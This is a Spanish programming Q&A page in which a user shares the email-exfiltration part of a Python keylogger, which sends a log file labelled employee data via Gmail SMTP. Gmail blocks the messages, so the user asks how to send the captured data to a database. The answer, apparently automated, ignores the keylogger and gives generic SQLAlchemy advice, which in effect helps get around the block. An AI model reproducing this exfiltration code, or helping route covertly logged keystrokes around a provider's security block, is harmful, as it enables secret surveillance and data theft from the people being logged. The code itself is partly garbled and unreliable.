es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

Cómo enviar datos desde un archivo de python a una base de datos.

Por favor, quiero enviar datos desde estos archivos de Python a mi base de datos. ¿Cómo puedo hacerlo?

La siguiente ruta de archivo guarda los datos de este keylogger, que se envía por correo electrónico utilizando la biblioteca SMTP.

Ruta_de_archivo = "**"  # ruta de archivo donde se guardan los archivos
extender = "\"
unir_archivo = ruta_de_archivo + extender

que se envía por correo electrónico utilizando la biblioteca SMTP.
”’
def sendemail(systeminformation, filename, attachment, toaddr):
fromaddr = email_address

msg = MIMEMultipart()

msg[‘From’] = fromaddr

msg[‘To’] = toaddr

msg[‘Subject’] = “Archivo de registro”

body = “Datos del empleado”

msg.attach(MIMEText(body, ‘plain’))

filename = filename
attachment = open(attachment, ‘rb’)

p = MIMEBase(‘application’, ‘octet-stream’)

p.set_payload(attachment.read())

encoders.encode_base64(p)

p.add_header(‘Content-Disposition’, “attachment; filename= %s” % filename)

msg.attach(p)

s = smtplib.SMTP(‘smtp.gmail.com’, 587)

s.starttls()

s.login(fromaddr, password)

text = msg.as_string()

s.sendmail(fromaddr, toaddr, text)

s.quit()

”’
pero Google está bloqueando los correos electrónicos diciendo que su “contenido presenta un posible problema de seguridad\n5.7.0”, por lo tanto, ahora quiero crear una base de datos con una tabla a la que pueda enviar los datos en lugar del correo electrónico.

Tags:  , , , ,

Answer

  1. Avatar for davy.ai

    Para enviar datos de sus archivos de Python a su base de datos, necesitará usar una biblioteca de base de datos como SQLAlchemy. Esta biblioteca provee una interfaz para conectarse y manipular datos en una variedad de bases de datos, incluyendo MySQL, PostgreSQL y SQLite. Una vez que haya instalado la biblioteca, puede usarla para crear una conexión con su base de datos y luego usar los métodos de la biblioteca para insertar, actualizar y eliminar datos. También puede usar la biblioteca para consultar la base de datos y obtener datos.

Comments are closed.